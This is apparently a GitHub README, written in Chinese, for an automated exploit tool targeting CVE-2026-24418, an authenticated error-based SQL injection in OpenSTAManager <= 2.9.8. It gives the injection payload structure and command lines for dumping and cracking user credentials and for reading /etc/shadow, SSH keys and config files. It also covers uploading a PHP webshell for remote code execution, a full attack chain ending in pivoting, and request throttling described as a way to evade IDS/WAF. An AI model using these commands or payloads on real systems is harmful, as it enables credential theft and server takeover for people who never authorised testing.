BridgerAlderson/CVE-2026-24418
GitHub: BridgerAlderson/CVE-2026-24418
针对 OpenSTAManager <= 2.9.8 Scadenzario 模块报错型 SQL 注入漏洞(CVE-2026-24418)的自动化利用工具,覆盖数据提取到远程代码执行的完整攻击链。
Stars: 1 | Forks: 0
# CVE-2026-24418
**OpenSTAManager <= 2.9.8 — Scadenzario 批量操作模块中的报错型 SQL 注入**
## 概述
| 字段 | 详情 |
|---|---|
| **CVE ID** | [CVE-2026-24418](https://nvd.nist.gov/vuln/detail/CVE-2026-24418) |
| **严重程度** | HIGH (8.8) |
| **CWE** | CWE-89: SQL 注入 |
| **受影响版本** | OpenSTAManager <= 2.9.8 |
| **漏洞参数** | `id_records[]` (POST 数组) |
| **漏洞 Endpoint** | `/actions.php?id_module=18` |
| **攻击类型** | 报错型 SQL 注入 (EXTRACTVALUE) |
| **认证** | 需要(任意有效的用户账户) |
## 漏洞详情
OpenSTAManager v2.9.8 及更早版本在 Scadenzario(付款计划)模块的批量操作处理程序中包含一个严重的报错型 SQL 注入漏洞。应用程序未能在 SQL `IN()` 子句中使用 `id_records[]` 数组的元素之前验证它们是否为整数,从而允许经过身份验证的攻击者注入任意 SQL 命令,并通过 XPATH 报错消息提取敏感数据。
### 根本原因
1. **入口点** — `/actions.php` 通过 POST 接收 `id_records[]`
2. **清理不足** — `array_clean()` 仅移除空值,不验证数据类型
3. **注入点** — `/modules/scadenzario/bulk.php` 将未清理的值直接传递给 SQL `IN()` 子句
4. **数据窃取** — EXTRACTVALUE/UPDATEXML 报错消息泄露了查询结果
## 功能
| 功能 | 描述 |
|---|---|
| `--info` | 数据库服务器指纹识别(版本、用户、主机名、操作系统、路径) |
| `--privs` | MySQL 权限枚举(FILE、SUPER、PROCESS) |
| `--users` | 从 `zz_users` 转储所有凭证并自动导出 hash |
| `--dbs` | 枚举所有可访问的数据库 |
| `--tables` | 列出表及其行数 |
| `--columns` | 列出列及其类型和是否可为空的信息 |
| `--dump` | 从任意表/列提取数据 |
| `--sql` | 执行自定义 SQL 查询 |
| `--file-read` | 通过 `LOAD_FILE()` 读取服务器文件(/etc/passwd、配置文件、SSH 密钥) |
| `--file-read-hex` | HEX 编码文件读取以绕过过滤器 |
| `--webshell` | 通过 `INTO DUMPFILE` 上传 PHP webshell |
| `--rce` | 通过上传的 webshell 执行交互式命令 |
| `-o / --output` | 将所有结果保存为 JSON、CSV 和 hashcat/john 格式 |
| `--proxy` | HTTP 代理支持(Burp Suite) |
| `--delay` | 请求限流以规避 IDS/WAF |
## 安装说明
```
git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests
```
## 使用说明
### 身份验证
```
# 使用凭据登录
python3 exploit.py -t http://target.com -u admin -p password --info
# 使用现有 session cookie
python3 exploit.py -t http://target.com -c --info
```
### 信息侦察
```
# 数据库信息 + 权限 + 用户凭据
python3 exploit.py -t http://target.com -u admin -p secret --all
# 检查 MySQL 权限(FILE、SUPER 等)
python3 exploit.py -t http://target.com -u admin -p secret --privs
```
### 凭证提取
```
# 导出用户并自动导出 hashes
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot
# 输出文件:
# ./loot/users.json - 完整用户数据
# ./loot/users.csv - CSV 格式
# ./loot/hashes_hashcat.txt - Hashcat 格式(mode 3200)
# ./loot/hashes_john.txt - John 格式(user:hash)
```
### 数据库枚举
```
# 列出所有数据库
python3 exploit.py -t http://target.com -u admin -p secret --dbs
# 列出特定数据库中的表
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager
# 列出表的列
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users
# 导出特定列并限制行数
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10
```
### 文件读取(通过 SQL 的 LFI)
```
# 读取 /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd
# 读取应用程序配置(数据库凭据)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php
# 读取 SSH 密钥
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa
# HEX 模式(绕过字符过滤器)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow
```
### 远程代码执行
```
# 上传 webshell(自动检测 webroot)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# 使用特定 webroot 上传 webshell
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html
# 交互式 shell 会话
python3 exploit.py -t http://target.com -u admin -p secret --rce
# 如果不存在 webshell,RCE 将自动上传
```
### 输出与报告
```
# 将所有内容保存到目录
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot
# 生成的文件:
# db_info.json, privileges.json, users.json, users.csv,
# hashes_hashcat.txt, hashes_john.txt
```
### 网络选项
```
# 通过 Burp Suite 代理
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080
# 带有请求延迟(请求间隔 2 秒)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2
# 跳过 SSL 验证
python3 exploit.py -t https://target.com -u admin -p secret --info -k
```
## 完整选项参考
```
Target:
-t, --target Target base URL
Authentication:
-u, --user Username for login
-p, --password Password for login
-c, --cookie Existing PHPSESSID value
Enumeration:
-D, --database Target database name
-T, --table Target table name
-C, --columns-list Columns to dump (comma-separated)
--limit Row limit for dumps
Actions:
--info Database server information
--users Dump zz_users credentials
--dbs Enumerate databases
--tables List tables
--columns List columns (requires -T)
--dump Dump data (requires -T and -C)
--sql QUERY Custom SQL query
--all Run --info + --privs + --users
--privs Check MySQL privileges
File Operations:
--file-read PATH Read file via LOAD_FILE()
--file-read-hex PATH Read file via HEX encoding
Remote Code Execution:
--webshell Upload PHP webshell
--webroot PATH Webroot path for shell upload
--rce Interactive command execution
Output:
-o, --output DIR Save results to directory
Network:
-m, --module-id Module ID (default: 18)
--proxy HTTP proxy URL
-k, --no-ssl-verify Disable SSL verification
--delay Request delay in seconds
```
## 技术细节
### Payload 结构
```
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,()))#
```
### EXTRACTVALUE 字符限制
MySQL 的 `EXTRACTVALUE()` 通过 XPATH 错误最多返回约 32 个字符。该工具使用 `SUBSTRING()` 自动分块处理长结果:
```
SUBSTRING((), 1, 31) -- Chunk 1
SUBSTRING((), 32, 31) -- Chunk 2
...
```
### Webshell 上传机制
当拥有 FILE 权限且约束允许时:
```
SELECT 0x INTO DUMPFILE '/var/www/html/shell.php'
```
### 漏洞代码路径
```
POST /actions.php?id_module=18
└── actions.php (L503-506) ─── receives id_records[]
└── array_clean() ─── only removes empty values
└── bulk.php (L88) ─── builds SQL IN() clause
└── Database.php (L289) ─── executes unsanitized query
└── XPATH error leaks data
```
## 攻击链示例
```
1. --privs → Check FILE privilege
2. --users → Dump credentials, export hashes
3. --file-read → Read config.inc.php for DB creds
4. --file-read → Read /etc/passwd for usernames
5. --webshell → Upload PHP webshell
6. --rce → Interactive shell → pivot
```
## 免责声明
此工具仅供授权的安全测试和教育目的使用。未经授权访问计算机系统是违法行为。在测试前始终获取适当的授权。作者对任何滥用行为不承担责任。
## 参考
- [CVE-2026-24418 (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2026-24418)
- [GitHub 安全公告 — GHSA-4xwv-49c8-fvhq](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4xwv-49c8-fvhq)
- [OpenSTAManager 代码库](https://github.com/devcode-it/openstamanager)
- [Lukasz Rybak 提供的 PoC](https://github.com/lukasz-rybak/CVE-2026-24418)
标签:CISA项目, CVE漏洞, OpenSTAManager, 系统独立性, 逆向工具